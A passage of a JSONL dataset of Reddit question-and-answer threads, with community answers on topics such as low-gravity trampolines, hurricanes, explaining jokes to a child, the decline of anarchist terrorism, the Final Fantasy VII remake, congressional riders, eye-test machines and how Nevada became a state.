["http://www.youtube.com/watch?v=8iYpxRXlboQ"]]}
{"q_id": "1tbpai", "title": "Trampolines in low gravity", "selftext": "If all other things are equal, would a trampoline jumper achieve a different height in lower gravity? I.e a Moon base with full atmospheric pressure and a very high ceiling vs a similar setup on Earth.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1tbpai/trampolines_in_low_gravity/", "answers": {"a_id": ["ce6ec06", "ce6ecyc", "ce6j4c7"], "score": [29, 3, 2], "text": ["The trampoline is just a spring and just returns any energy put into it. So the question is really, \"Can people jump higher when there is lower gravity?\" The answer is definitely yes. With less gravity, the gravitational acceleration is lower. That means with a given initial velocity upwards, it takes longer to decelerate you to zero speed at the top of your trajectory and than bring you back down. So you can definitely jump higher on the moon. You can see this easily if you ever watch any of the Apollo moon videos. Depending on the gravitational field of a given body, there is a given escape velocity, which is the initial speed you have to start with to never fall back down. The weaker the gravity, the lower the escape velocity. In other words, the lower gravity, the higher you can jump, progressing towards the limit of an infinitely high jump when you exceed the escape velocity (because the gravity is so weak).", "You jump height would be higher.  You fall velocity/momentum would be the SAME as when you jumped, conservation rules and what not.  The only loss in the system would be parasitic loss in the springs.  You would also not have frictional losses caused by atmosphere.\n\nThe initial force would be the same on earth or the moon as you are applying a force outside of gravity: your muscles, which are applying the same in either location.  Since you weigh less, the same force will send you higher and faster.  At the top of the arch, you will have zero momentum (no velocity) but the potential will be the same as at the start.  And will all be converted back to momentum when you reach the trampoline.\n\nAs neither the force in your muscles or the trampolines springs are effected by gravity, you will continually be able to achieve same height as long as you use your legs to reapply same amount of forces lost to parasitic loss in the spring.\n\nThe parasitic losses are not related to gravity, and would be the same on earth and the moon.\n\nIf you drove a car on the moon with the same suspension as earth, you would go flying first time you hit a bump for the same reasons.", "It depends on what you mean. As long as the initial height is the same, a jumper will return to that initial height whether s/he is on the Moon or on Earth, assuming ideal conditions like a perfect spring and no leg muscles used.\n\nThe person will initially gain speed downward to the trampoline. This results in a faster speed on Earth than on the Moon. However, on the way back up, Earth's gravity drains upward speed faster than the Moon's gravity would. It works out perfectly so that in both cases, the jumper returns to the same initial height. In other words, **no, the jumper would not achieve a different height in lower gravity.**\n\nThe answer is different if the jumper uses his/her legs to jump instead of relying purely on gravity to push against the trampoline. Just like Neil Armstrong could jump super high on the Moon, a trampoline jumper will jump higher on a trampoline in low gravity if s/he uses leg muscles to propel the jump."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9fgmks", "title": "with all the technology we have access to, why is there nothing we can do to stop a hurricane?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9fgmks/eli5_with_all_the_technology_we_have_access_to/", "answers": {"a_id": ["e5w9xox", "e5w9zwu", "e5wabw8"], "score": [3, 3, 3], "text": ["I don't think you realize just how much energy is involved in a hurricane. We could detonate a nuclear bomb inside one and it would barely flinch. ", "Hurricanes possess a massive amount of energy and are massive. Like releasing 200x the world's entire electric production per day amounts of energy. We just don't have anything that can get to that order of magnitude.", "We could make owning property illegal and give everyone a motorhome and take away all the drugs so as a commumity we could move an entire state's population and infrastructure out of the state in a matter of hours."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8unp7j", "title": "what is a joke, how do you classify a \u201cjoke\u201d?", "selftext": "I\u2019m asking because I have a 7 year old autistic sister, and this is the closest subreddit I can find for this. A lot of times my sister tries to make jokes. But she doesn\u2019t have a clue on what a joke is. She says jokes like \u201cwhat did the candy say to the corn? Candy Corn!\u201d She thinks jokes are \u201cHey! 1 thing, another thing, another thing!\u201d And sometimes it just ends up funny. I\u2019m not sure how to explain to her what a joke is, in a simple \u201ca joke is...\u201d manner.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8unp7j/eli5_what_is_a_joke_how_do_you_classify_a_joke/", "answers": {"a_id": ["e1gq7at", "e1gr1nt", "e1grhmr", "e1grkvt", "e1gsltd"], "score": [2, 2, 9, 6, 2], "text": ["A joke can be many things, usually the best jokes are playing on the words, or is a story with a twist", "To add a joke can be anything that is intended to illicit a laugh from other people. Whether a story about something funny or a play on words intent means a lot", "(Written for a 7 year old)\n\nA joke is a little bit of talk or writing that makes people laugh in a specific way. \n\nThey aren\u2019t laughing at the person who tells/wrote it, because she sounds weird or is making a silly face. With a joke, it\u2019s the words themselves that make people laugh. \n\nWhy do they laugh? This is a tricky question. Sometimes what is funny to one person is not funny to another. But most of the time, people laugh because the joke makes them imagine something in a surprising new way. Maybe a word is used to mean something that it usually does not. Or the joke might be a little story that you think will turn out one way\u2014 but it turns out some other way, and you have to quickly figure out why it happened like that. It\u2019s like a little puzzle, and the listener gets a feeling of happiness when they figure it out. \n\nPeople usually only find a joke funny if they\u2019ve never heard it before! So new ones are always being made. But since it isn\u2019t easy to make up funny jokes, lots of people memorize ones they read or hear.\n\n\n\n\n\n\n", "It sounds like she's doing fine figuring out jokes on her own, I think what's most important is your response. \n\nIf she says something that you don't think counts as a joke just say something along the lines of \"interesting but I don't quite think it's for me\"\n\nTry explaining it as \"a joke is something that catches you off guard to alleviate stress and worry\"", "Maybe watch the scene with her from Borat when he goes to see the woman who teaches him how to tell jokes. Just explaining why it\u2019s a funny sketch would probably be a good vehicle for explaining how jokes work. Don\u2019t be surprised if you hear a lot of \u2018not\u2019 jokes after the viewing tho."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8m0k6r", "title": "Can underground-dwelling animals such as worms and ants sense an earthquake before it happens? Do underground animals occur around faultlines or in other areas with frequent earthquakes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8m0k6r/can_undergrounddwelling_animals_such_as_worms_and/", "answers": {"a_id": ["dzk9684"], "score": [5], "text": ["There are three main types of waves that occur during an earthquake- compression, shear, and surface. When we \u201cfeel\u201d an earthquake we are feeling the shear and surface waves - the ones that shake the plates in our houses. The compression waves travel the fastest and can arrive minutes before the shear waves depending on the distance to the epicenter of the quake, some humans can detect these but experience off-balance or dizziness. This isn\u2019t the \u201cplate-rattler\u201d.  Animals are much more adept at feeling these early waves which is why some may alert you before you feel the shear or compression waves of an earthquake. Animals can\u2019t detect fault movement before it happens but they can feel the first movements before we can. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6bgbp9", "title": "Whatever happened to the anarchist terrorist movement?", "selftext": "Anarchism used to be a huge movement that inspired dozens of acts of international terrorism, from the killing of an American president and multiple European monarchs to the 1920 Wall Street bombing.\n\nWhere did that rash of attacks come from, and where did it go? Why don't we fear bomb-throwing anarchists today?\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6bgbp9/whatever_happened_to_the_anarchist_terrorist/", "answers": {"a_id": ["dhmif9a", "dhmlwtz", "dhmmmpb", "dhmphyb"], "score": [70, 576, 36, 32], "text": ["There are a few previous threads with more or less the same question, in case nobody comes in here to answer you:\n_URL_1_\n\n_URL_0_\n\nYou can also visit [/r/anarchy101](_URL_2_) to learn more specifically about anarchism, if that helps.", "A tactic that has been to central to anarchism since the 1870s is that of \"propaganda of the deed\", The idea is that by doing some kind of political action, you can inspire others to act in a similar way and lead towards revolution. While this is usually associated with violence, it also has nonviolent applications such as the group Food Not Bombs who give free food away that would otherwise have been wasted. Combine this with the anarchist attitudes that \"peace without justice is not peace at all\" and a rejection of the legitimate monopoly on violence, and it becomes very easy to justify violent actions in order to make a revolution. While some major anarchists supported this, it's worth noting that the majority believed that these assassinations, whether morally acceptable or not, would only bring further political persecution. \n\nAnd further political persecution did come. Followers of the \"insurrectionary\" anarchist Luigi Galleani sent out 44 bombs in April-June of 1919 killing one city watchman and one bomber. This lead to hundreds of deportations and countless searches and arrests. Most historians believe the decline of the anarchist movement began in 1920 after the trial of Sacco and Vanzetti, a shoemaker and a fish seller respectively who were charged with armed robbery. Both were anarchists who advocated revolutionary violence and while Sacco might have been guilty, Vanzetti was clearly innocent. Both were executed by electric chair in a trial with a large amount of media coverage.\n\nAt the same time, you had a rise of syndicalism, a trade union movement that aims to form \"one big union\" that organizes all workers of the world, and then through a general strike overthrow the capitalist system and have workers occupy their workplaces. One such union, the Industrial Workers of the World or the \"Wobblies\", had over 150,000 members in 1917. Most were rural workers in the US, especially immigrants. Syndicalism provided a way for workers to overthrow the government without propaganda of the deed assassinations, so radicals could organize for this instead of take their frustrations out through violence. But syndicalism was not too last as political and media pressure picked up during the First Red Scare of 1919-1920 and IWW membership began to decline. In 1924 the party had a split from which they never truly recovered.\n\nSources:  \nEric Thomas Chester, [The Wobblies in Their Heyday: The Rise and Destruction of the Industrial Workers of the World during the World War I Era](_URL_0_)  \nPeter Marshall, [Demanding the Impossible: a History of Anarchism](_URL_1_)\n\nMods let me know if my citations or anything else is unsatisfactory, I'm not actually a historian I'm just a bored anarchist with too much free time.\n\nEdit: I want to add a quote from David Graeber, a well known contemporary anarchist and anthropologist, to give people an idea of attitudes at the time among anarchists towards the assassinations. \n\n >  There was a spurt, towards the beginning, of calls for the assassination of heads of state, it was quite brief and anarchist spokesmen and organized groups quickly withdrew support from this strategy as counterproductive. Nonetheless, following decades saw a continual stream of dramatic assassinations by people calling themselves anarchists. I am not aware of any actual assassin during this particular period who actually was a product of these anarchist organizations, much less were their actions planned or sponsored by them; rather they almost invariably turned out to be isolated individuals with no more ongoing ties to anarchist life than the Unabomber, and usually about a roughly equivalent hold on sanity. It was rather as if the existence of anarchism gave lone gunmen something to call themselves.\n\nTaken from page 212 of Direct Action: an Ethnography", "It's worth pointing out that responses and attitudes to violence in anarchism have always varied. Some anarchists have been pacifists, others have believed that some variety of response to state violence is necessary, usually with an emphasis on self-defense with a revolutionary character. \n\nHowever, around the turn of the century some people on the left, and not just anarchists, believed in the idea of \"Propaganda by the deed\", allied to the anarchist emphasis on direct action. The idea was supposed to be that such direct acts would incite the workers to greater awareness of the class conflict inherent in the system.\n\nSo it's more accurate to say that these assassinations and bombings were more of a passing phenomenon within anarchism, which around the time of the First World War went out of fashion, and were always regarded with equivocation even within the anarchist movement. If you read modern anarchist writers, they are usually uncomfortable or skeptical about the terroristic phase in anarchism. \n\nEven in the case of individual anarchists you can find that moral ambiguity about the use of violence. Leon Czolgosz, for instance, who shot President McKinley, was supposed to have been inspired by Emma Goldman, but she herself did not condone the action directly. Such acts in anarchist literature were usually seen as desperate actions by poor workers driven to extremism, suffering from idealism, and therefore a further indictment of the system. Goldman's partner Alexander Berkman also spent a long time in jail for a futile and ineffective attempt on the life of a business magnate. So that may have given her more insight into the limited effectiveness of the tactic of the \"Propaganda by Deed\". Czolgosz himself seems to have been a neurotic individual who was probably acting out his personal problems in dramatic fashion.\n\nOther supposedly anarchist terrorists were definitely frowned upon by some factions of anarchists, while celebrated by others, examples being Ravachol and Nechayev. Nechayev and some of the Russian anarchists in their philosophy cross the line into nihilism, sometimes self-consciously, sometimes not.\n\nAfter the First World War and the October Revolution in Russia, other tactics were emphasized, and anarcho-syndicalism became popular, being especially strong in France. The emphasis on direct action continued, but the idea of direct action was more focused on collective action by syndicats (or labour unions) in such actions as strikes and occupations. \n\nAnarchism itself as a wide-ranging tendency has never really gone away though. If it has at various historical moments seemed subdued or gone into a fallow period, it is most likely because of strong state repression, or because other forms of left organisation (Russian-style communism, Trotskyism, vanguardism, Marxism, Maoism, the various types of more authoritarian communism) predominated and became fashionable. \n\nIt's also true that the assassination of European monarchs was not always inspired by anarchism, some of the assassins being motivated by other political ideals which involved anti-monarchism, such as republicanism. Lots of people in history have been assassins, for all sorts of reasons, sometimes for political reasons but sometimes for merely personal grievances. \n\nSo to answer the question, \"Where did that rash of attacks come from\", it came in the case of the anarchists from the notion of \"Propaganda by the deed\", which was the somewhat romantic idea that by targeting selected state officials and other representatives of the state, seen as agents of tyranny, the people might be inspired to revolutionary action thereby, or at least that the conflict inherent in the system might be highlighted. And, \"where did it go\". It gradually fell out of fashion like other features of the period like Nietzscheanism and Social Darwinism, and by the 1930's a popular form of anarchism was revolutionary syndicalism, as exemplified in the anarchist movement in Spain which found popular expression during the Spanish Revolution and Civil War which began in 1936.\n\nDirect action tactics experienced a revival of sorts in the 1960's and 70's with various groups of the left in Europe and America. Examples include the Angry Brigade in Britain, the Baader-Meinhof gang in Germany, the various groups in Italy such as the Red Brigades (responsible for the assassination of Italian statesman Aldo Moro), and in America, the Weather Underground. Some of these were only tangentially associated with anarchism though, being more inspired by the Maoism and vanguardism fashionable at the time. \n\nHope this is detailed enough. \n\n\n\n\n", "I'd like to add another element to this discussion: some political scientists would argue that an additional factor was a change in government intervention in industrial conditions.\n\nBetween the end of the American Civil War and the beginning of the Great Depression, the American economy was rapidly industrializing, yet the politics of the day failed to reconcile the effects of a new means of production with the old Jacksonian ideal of the government as a 'night watchman' over a free-contract economy. Non-intervention and the freedom of contract works relatively well (at least on a broad scale) when you have small owners making one-to-one contracts, and either party can walk away, but industrialization created a power imbalance where workers couldn't walk away and continue to feed their families. People work suffering under shockingly bad working conditions, and the state was primarily using its monopoly on violence to prevent them from organizing, and rarely using it to improve working conditions. All branches of government on every level in America were somewhat dedicated to this ideal. It is unsurprising that many workers felt that the only way they would be protected was through violent overthrow of the government.\n\nThat all changed when Roosevelt and the New Deal Democrats rolled into power (the new understanding actually started earlier in the progressive era, thanks in no small part to pressure from radicals, but the transition completed in '32). A new constituonal and legal understanding took hold in which the government could and should intervene and regulate to protect workers. The New Deal Coalition included the unions at the table and, in doing so, deradiclaized many of them as well. The New Deal and Great Society coalitions presided over a time of unprecedented equitable economic growth, so few individuals were unhappy enough with the political economy to agitate for violent overthrow of the government.\n\nSource: Gillman, Graber and Williams, *American Constitutionalism, Vol 1  &  2*  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4it9wq/what_did_american_anarchists_seek_to_achieve_by/", "https://www.reddit.com/r/AskHistorians/comments/5z5cpx/why_was_anarchism_a_thing_around_the_findesi%C3%A8cle/", "https://www.reddit.com/r/Anarchy101/"], ["https://books.google.ca/books/about/The_Wobblies_in_Their_Heyday_The_Rise_an.html?id=KBKJBAAAQBAJ&amp;redir_esc=y", "http://rebels-library.org/files/demanding_the_impossible.pdf"], [], []]}
{"q_id": "3a4pw0", "title": "why is the ff7 remake such a big deal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3a4pw0/eli5_why_is_the_ff7_remake_such_a_big_deal/", "answers": {"a_id": ["cs99w8v", "cs99znr", "cs9a3us", "cs9b7dc", "cs9buqe", "cs9e0al", "cs9lt0g"], "score": [10, 14, 26, 123, 3, 3, 2], "text": ["FF7 was innovative, exciting, graphically stunning, had tons of story, was all around a major critical success. A remake will really get that glory back on it's feet. You're talking about the chance to remake a game that made tsunamis, not just waves. It's a big deal i guess", "People have been waiting for a remake for a very very long time, at least 10 years. Ff7 was the serious \"claim to fame\" so to speak. It's going to be a business changer for SE (the developing company) in that either they will exceed the incredibly high expectations or they will fall short. If they succeed, they will really flourish in the years to come but if they fail, well we may see the end of the series in the near future. \n\nThe fan base of final fantasy 7 is largely a group that played it in their childhood years, in which case their memory of the game is greatly over glorified in their minds, so their chance to fail on the remake to meet expectations is very high\n", "Nostalgia bomb.  Back about 10-15 years, you couldn't find a thread anywhere on the internet that didn't have some username with a bastardized spelling of Sephiroth or Cloud.  It was a good game, no doubt but the fanbase was... bordering cultish even for an FF game.", "It's not even the anticipation of the remake. It's seeing the characters and landscapes in a graphics quality that is relevant to now. We're taking about 18 years. The graphics at the time (especially the backgrounds) were cutting edge. The music was enough to make anyone emo at times. The story was deep and unpredictable. It was a game for isolation and getaway. Most people played alone, and got very emotionally involved with it. It's like seeing the first girl you kissed in 5th grade all grown up into a hottie saying \"do me\"", "Also, other FF game like FF10 and FF10-2, which came out on PS2, have been given HD remakes for the PS3 Vita and finally for release on the PS4 just recently. I bought them both.\n\nFF10 was one of the flagship games for the PS2 upon it's release, and when I first bought a PS2 I got FF10 to go with it. It was just stunningly beautiful and has been given many remakes. But it's by far the most popular FF game ever made. FF7 by many is considered the best if not in their top 3 list of FF games. Everything about it was just wonderful. 4 discs games were unheard of at the time but those 4 discs were treasures. Who wouldn't want to have their old 70's GT get a complete restoration? Remove all the rust and put a fresh coat of paint on it?\n\nAnother fact about Final Fantasy is that... after 10, the One-action-per-turn based battle system we all fell in love with pretty much became non-existent with future FF titles; ie, 11, 12, 13, 13-2, 14 and it's re-birth. A lot of FF fans prefer the traditional turn based style from FF 1 all the way through 10 (FYI 9 is by far my favorite FF game).\n\nMany would argue FF7 holds the throne as the flagship game for what the original Playstation had to offer. Many of us FF fanatics are hoping that with such a graphically enhanced update, and a trailer proving much attention and detail are being given to this game, that we might, for the first time since 10, get a completely HD Final Fantasy equipped with the old turn-based battle system. Nostalgia 100%", "it's like seeing my first love grow up to be everything i love and, she said she loves me, ask to get married.", "FF7 did for RPGs what Metalica's Black Album did for Rock: they both made their respective genres transcend genres.\n\nI had friends in junior high who were into rpgs, but i never found the allure. To be honest, rpgs just seemed like too much reading. I wanted quick actions and snippets of excitement. RPGs made you work too hard. I wasn't a sophisticated gamer.\n\nBut FF7 was a game changer, no pun intended. FF7 forced you to fall in love with the characters, the world was amazing, Sepheroth's theme song was magnificent. With over 100+ hours of gameplay, it didn't feel like a chore to do all the reading and meander down every side quest. It redefined my and countless others approach to gaming. AND, not to mention, it came out when Squaresoft and Enix were in their RPG golden age. Titles like Vagrant Story, Star Ocean 2, Valkyrie Profile were released around the same time.\n\nIt's been mentioned before, but seeing these characters in high def caused me to fall in love all over again. \n\nThat being said, if you don't have the history with the game like some of us do, then maybe you should play the original before the new one comes out. There is a certain majesty to the original version. It was the quintessence (thank you Walter Mitty) of its generation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "3x79oi", "title": "how can congress sneak cisa into the nasa bill?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3x79oi/eli5_how_can_congress_sneak_cisa_into_the_nasa/", "answers": {"a_id": ["cy24dli", "cy28qij"], "score": [23, 3], "text": ["Congress makes its own rules. There are very few rules for Congress in the Constitution. The rest they write themselves. They can even ignore rules they write if no one in Congress objects.", "It's called a rider, and it's actually a fairly standard operation that happens all the time. It's just that it only makes the news when it's controversial bills that are getting stuck together.\n\nWhen a bill is in the House, any amendments to it have to be germane (revelant) to the content of the bill. After it makes it to the senate, it's a lot less stringent.\n\nA couple examples:\n\nThe majority party in the senate wants to pass Bill A. Bill A is controversial in the party, and there are enough senators in the majority party that do not support it that it won't pass if it comes to a vote. The Minority party has Bill B (which has nothing to do with Bill A), which they unanimously want to see pass, but the majority party isn't in favor, so it also won't pass. If enough members of the majority think that getting Bill A passed is worth having Bill B passed, and vice versa from the minority party, then they will amend Bill A with Bill B as a rider and vote to pass it.\n\nAnother example which might be the case here is a power play by the majority senate party against an opposition president. Take a bill that is widely regarded as necessary, like an appropriations bill, and attach a controversial rider. After the bill passes the senate, it goes to the president's desk to either be veto'd, or signed into law. The President doesn't have the power to veto only a portion of a bill, so his choices are to either sign the bill and allow the rider he doesn't like, or veto the bill and send it back to congress while taking criticism for blocking the original appropriations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ckorkr", "title": "how does the eye-sight-measuring machine at the glasses shop actually give you the exact number of your eyesight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ckorkr/eli5_how_does_the_eyesightmeasuring_machine_at/", "answers": {"a_id": ["evpa1b3", "evpghmw", "evpotuv", "evptt83", "evpu8jp", "evpytdq", "evq2sii", "evq5plj", "evq7a48", "evq9bnw", "evrzfbh", "evs6bdu"], "score": [5721, 204, 10, 23, 18, 10, 2, 96, 2, 2, 2, 2], "text": ["Lenses work both ways. The machine is basically getting a camera trained on your retina and then \u2018auto-focusing\u2019 until it sees a clear image of your retina. Software then calculates the properties of your lens based on the amount of focusing it required to get that clear picture of your retina.", "Follow up question. I want to order glasses online, but I'm not sure about my pupillary distance (DP). I tried measuring it myself but I get different numbers each time. Any suggestions...\n\nEdit: Thanks everyone for great suggestions. I completely understand that eyeglasses shops don't want to give this info for free because they want to make money too. I had a bad experience at my last optician where they said, \"Oh when you buy your glasses you'll get your real PD\" and did a quick estimate. At the time I didn't realize what it was for and that they should have done it right because I was paying for it.", "To be honest, I don't think any machine is completely accurate. The reason they have varieties of lenses for you to look through is for you to get better vision than you were before. I was premature as a child and one of my eyes developed slower than the other, and I quickly developed vision problems. They have gotten worse over the years; especially since I'm both near and far sided. No matter how many times I get fitted, I still have trouble seeing objects, so in short terms, they try to measure your vision for a fit in which you can see, but it can almost never fully improve your vision.", "To bad having karackonos means I can't use those machines. That is spelt wrong, but oh well.", "I\u2019m 6\u20195 and have suffered from really bad headaches and vertigo. Every time I would stand up it felt like I was going to pass out. I haven\u2019t worn glasses since I was a kid. I went to the Optometrist got my glasses and haven\u2019t had vertigo since. Definitely worth the time and money.", "Depending on where you are in the world, the autorefractor can be used as a baseline to find your prescription (is in the UK where I'm employed), or used as the full spectacle prescription (most of Europe).\nIt's pretty accurate to the point where our staff will jump on for a 30 second check if they feel their eyesight has changed rather than go straight to the optometrist. They'll still book a follow up sight test anyways as that's the rules over here, but it's useful to rule out tiredness, dry eye etc", "It's a quick and dirty method. The one with the camera is great at measuring your distances (space between your retina at rest, space between eyes, space from eye to ear) which are important for sizing. When they try to measure your actual correction necessary they can't do as good a job as the spider eyes (the thing they put over your face and adjust the lenses to see which one works best) since it's not asking for your input on how a specific lens works for you. \n\nSource: I've worn glasses for 16 years", "Optometrist here. The manual machine where they go 1 or 2, called a phoropter, uses different plus and minus powered lenses. Essentially if you are an ametrope, meaning light does not focus on the retina, which is like a film in the back of the eye that processes the light, you are going to need a lens in front of your eyes to see clearly. Using different plus and minus lenses, we are able to move the location at which light is being focused, giving you clear vision. \n\nThe automated machines, called an autorefractor, uses special images on the cornea, the clear part of the eye, to determine the lens that would be needed for the patient to have clear vision. Accuracy can be tough on these automated machines as optometrists do not want to give a patient whatever the machine says, as it can lead to overminus-ing or overplus-ing the patient, which can have negative impact on vision. But generally, we will look at the numbers from the autorefractor and then fine tune it.", "I asked this question last time I went for a new pair of glasses. The machine basically sends a dim light beam through your eye lense, and depending on how long it takes for the light to bounce back, they can accurately measure the lenses thickness. Kind of like a radar.", "Interesting to hear people say it was accurate for them. I\u2019m in the Philippines and got wildly different results each time. How wild? Anywhere between -1.00 and -4.00. That\u2019s how wild.\n\nAnyway short story made longer by putting this sentence, it never seems to be close to accurate. Just bad models of the machine? Or am I the bad model? Probably because I\u2019ve not done much modelling. But has anyone else experienced the very inaccurate eye checking machines?", "It\u2019s worth noting that I wasn\u2019t diagnosed with astigmatism until they used a machine to test my eyesight. Afterwards, doctor showed me my 20/20 vision... and then corrected for the astigmatism. \n\nI began to cry because I didn\u2019t realize the world could look like that.", "Not an answer, because I'm terrible at explaining things however. Just today I got an exam at a optometry school instead of the usual quick glasses shop, and it was the best eye exam I'd ever had. It was less expensive and MUCH more thorough. It took about an hour and a half, but I learned so much about my eyes and eyesight in general. The students explain everything as they go, and the attending doctor does a final exam. Plus you are helping others learn as well. If it's possible in your area, I can't reccomend it enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5nch60", "title": "Floating Feature | Drunk History: What is Your 'Go To' History Story to Tell at a Bar?", "selftext": "Now and then, we like to host '[Floating Features](_URL_0_)', periodic threads intended to allow for more open discussion that allows a multitude of possible answers from people of all sorts of backgrounds and levels of expertise. \n\nIn the spirit of this week's Theme, today we present you with 'Drunk History'. There are a lot of great historical stories out there. Many of them are quite entertaining. And some of those are pitch-perfect to relate while a few beers deep on the weekend with some friends. Or strangers! So what tales from history do you find are best discussed over a pint or three? Bonus points if you do, in fact, relate them to us while drunk, of course (*\"What do you mean it is 9:30 am on a Wednesday?\"*)!\n\nAs is the case with previous Floating Features, there is relaxed moderation here to allow more scope for speculation and general chat than there would be in a usual thread! But with that in mind, we of course expect that anyone who wishes to contribute will do so politely and in good faith. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5nch60/floating_feature_drunk_history_what_is_your_go_to/", "answers": {"a_id": ["dcafp3h", "dcak9r6", "dcakjv8", "dcamuiu", "dcatt2n", "dcattqj", "dcau0lv", "dcau1h1", "dcav8i8", "dcay7pa", "dcayk5h", "dcb0irv", "dcb2ihg", "dcb969u", "dcbism7", "dcbujnt", "dcbx4ow", "dcc3kss", "dcdhwwl"], "score": [223, 195, 78, 68, 57, 31, 38, 6, 3, 26, 6, 41, 14, 2, 20, 9, 11, 8, 2], "text": ["I used to work at Fort Mackinac, in Michigan. It's a historic fort part of the state historic parks up there, and we did daily costumed interpretation of the 1880s, when Mackinac was a national park and the garrison there had park-related duties. The fort had its own small archive and a lot of documents from the period, and occasionally I was able to go and do some primary research for fun or for adding detail to our daily demonstrations.\n\nOne of our daily demos was a court-martial reenactment. We had the records in the archives and so could go into some detail about certain cases. We steered away from any of the serious ones (though there was at least one murder and one mutiny at the fort, but way before our interpretive period), and used examples of disgruntled soldiers who got drunk or deserted into the village overnight or had some mild insubordination.\n\nOne of the guys we zeroed in on was named Amos Wilkie, who was a notorious troublemaker. He was stationed at mackinac from 1886 until his company left the fort in 91, and in that time was court martialed a total of seven times. Though most of it was for being in the village after lights out, a few of them were for direct and hilarious insubordination. We did two Wilkie courts martial: one was for accosting an officer on his porch and refusing to leave after being ordered away, and the second was for being found in the barracks after leaving a job without permission.\n\nWe reenacted both in varying degrees of seriousness, but I was always interested in getting it as accurately as possible (given our inherently limited scope during demos), and furthermore, I just found Wilkie personally interesting. I felt like he and I shared a lot of personality traits, and whenever it was my turn to be \"the accused\" at a court martial I'd usually pick a Wilkie case.\n\nAnyway. I went to the archives once, and began thumbing through the court martial records. The entries were usually very brief, they listed the date, the officers who convened and judged the offender, the offender and the article of war he was accused of violating, the plea, the vote, and the result. Not many went into much detail.\n\nBut I did find one, from February 1887, about Pvt. Amos Wilkie. It was his very first court martial, but it went into very specific detail about what exactly his crimes were.\n\nWilkie was part of a work detail looking to the company's livestock, and was ordered by corporal William Williams to shovel snow out of the pig pen. He refused, and Williams repeated the order, and was refused again. Finally, Wilkie replied: \"I won't do it for you or any other man, Williams!\"\n\nWilliams then went to fetch the detail's sergeant, Thomas Hennesey, who warned Wilkie that if he didn't do as he was told, he'd be arrested. Wilkie snapped back: \"I won't shovel out the pig pen, and you can do as you please.\" I always imagined him flinging the snow shovel down into the snow, spraying gray-down slush onto the sergeant's trousers while Wilkie crossed his arms.\n\nSo he was arrested. After cooling his heels a few days in the guard house he was court martialed, and his sentence was *the maximum legal limit*: a full month's pay in fines and a full month of hard labor while confined to the guard house in off hours. The CO commuted the sentence to half of that in each particular due to Wilkie's inexperience (this is about the 6 month mark of his enlistment) and recommendations from Wilkie's company commander.\n\nWe of course speculated a whole lot about why Wilkie had such a strong reaction to cleaning out the pig pen, and my personal theory boils down to basic personality issues (Wilkie's other courts mortail all showed a strong anti-authoritarian streak. If the man was a miner he'd have been a union organizer, in my opinion) and unfulfilled promises. He was recruited in New York city, and his profession was listed as \"painter\" prior to his enlistment. I expect that the recruiting officer made promises about the ease of life at the Mackinac post, Wilkie's experience as a painter would get him posted to sweet, easy gigs involving repainting the old buildings at the fort, the wonderful view and climate etc.\n\nSo here comes 22 year old Amos Wilkie suffering his first Michigan winter - they are *nasty* on Mackinac island -  ordered around by a corporal who'd been promoted just a week or so before *after* having been busted from sergeant because of a poker game (another court martial we know a great deal about), ordering Wilkie, alone, to do a job that should take three or four men. He thinks it's unfair, that he's being singled out, that there's a better way to do it. But obstinate Williams, with the stitches fresh on his stripes, is letting power corrupt, so Wilkie of course refuses.\n\nBy the time Hennesey gets there, Wilkie's dug in, Williams is obstinate, and there's no way it'll go down easy.\n\nObviously there's no way to know exactly what Wilkie's personality was like without letters or a journal or testament from the same by others, but I always liked Wilkie - or at least the semiotic construction of Wilkie I have in my head - and always liked relating his various acts of indiscipline to whoever would listen.", "My favorite is how Nevada became a state:\n\nThe Republican Party was worried President Lincoln would lose the 1864 election (a note in Lincoln's handwriting from the time predicted the election would be won or lost by a few electoral votes). So the party looked for pro-Republican territories they could turn into a state before the election for an extra few electoral votes.\n\nA Republican-dominated Congress voted for enabling acts for Colorado, Nebraska, and Nevada. Colorado and Nebraska both said thanks, but no thanks, leaving only Nevada. Nevada's legislature drafted a constitution and sent it by overland mail and clipper ship. Neither copy arrived in a timely fashion, so with time running out and President Lincoln and Secretary Seward getting anxious, Nevada Governor Nye decided to send the whole thing via telegraph.\n\nThe telegraph was the longest ever sent up until that point (16,000 words) and took two of the best telegraphers tag-teaming it for 12 hours. There was no direct link between Carson City and Washington D.C., so it had to be transcribed and re-sent in Salt Lake City, Chicago, and Philadelphia before it reached the Office of US Military Telegraph in DC. The telegraph cost $62,000 in 2012 dollars.  It would hold the record as longest telegraph for 17 years until a copy of the New Testament was telegraphed via the Atlantic cable from England to Chicago in 1881. \n\nThen they let soldiers vote from the field and Lincoln won in a landslide 212-21. Nevada's 2 electoral votes turned out to be unneeded. \n\nThe original formula for admitting a state to the Union was that they had to have a population equal to one Congressional district. If Congress had waited until Nevada had enough people to be a state it wouldn't have happened until the 70s. Wyoming still wouldn't be a state.\n\nShoutout to Professor Eric Rauchway at the University of California Davis for originally telling this story. \n\nA source:\n_URL_0_", "John Wilmot, 